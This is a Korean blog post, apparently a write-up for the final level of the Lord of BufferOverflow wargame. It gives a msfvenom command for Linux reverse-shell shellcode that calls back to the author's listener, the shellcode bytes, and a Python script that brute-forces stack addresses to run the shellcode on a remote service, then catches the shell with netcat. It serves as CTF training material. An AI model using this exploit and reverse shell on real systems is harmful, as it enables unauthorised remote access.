리버스쉘
1. metasploit을 이용해 쉘코드 생성
나의 내부 IP인 192.168.200.150과 임의의 PORT번호인 1234로 쉘코드를 생성하는 명령어를 입력한다.
명령어 : "msfvenom -p linux/x86/shell_reverse_tcp -f python LHOST="192.168.200.150" LPORT=1234"
출력된 쉘코드는 아래와 같다.
buf = "" buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66" buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0" buf += "\xa8\xc8\x96\x68\x02\x00\x04\xd2\x89\xe1\xb0\x66\x50" buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73" buf += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0" buf += "\x0b\xcd\x80"
import socket from struct import * host = "192.168.113.128" port = 6666 p = lambda x : unpack("<L", x)[0] shellcode = "" shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66" shellcode += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0" shellcode += "\xa8\xc8\x96\x68\x02\x00\x04\xd2\x89\xe1\xb0\x66\x50" shellcode += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73" shellcode += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0" shellcode += "\x0b\xcd\x80" for i in range(0xff, 0x00, -1): for j in range(0x00, 0xff, 30): payload = "A"*44 payload += chr(j)+chr(i)+"\xff\xbf" payload += "\x90"*100 payload += shellcode print str(hex(p(chr(j)+chr(i)+"\xff\xbf"))) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) s.recv(60) s.close()
3. 작성한 exploit 코드를 실행한다.
4. netcat으로 포트를 열어 대기한다.
브루트 포싱이 완료되면 아래와 같이 쉘이 따진 것을 확인할 수 있다.
my-pass에서 나온 비밀번호를 가지고 death_knight에 로그인해보니 txt파일이 하나 있어서 cat으로 출력해보니
아래와 같이 마패가 나온다. LOB 클리어~
'Wargame > lord of bufferoverflow' 카테고리의 다른 글
Lord of bufferoverflow nightmare (0) | 2017.09.26 |
---|---|
Lord of bufferoverflow succubus (0) | 2017.09.20 |
Lord of bufferoverflow zombie_assassin (0) | 2017.09.07 |
Lord of bufferoverflow assassin (0) | 2017.08.26 |
Lord of bufferoverflow giant (0) | 2017.08.26 |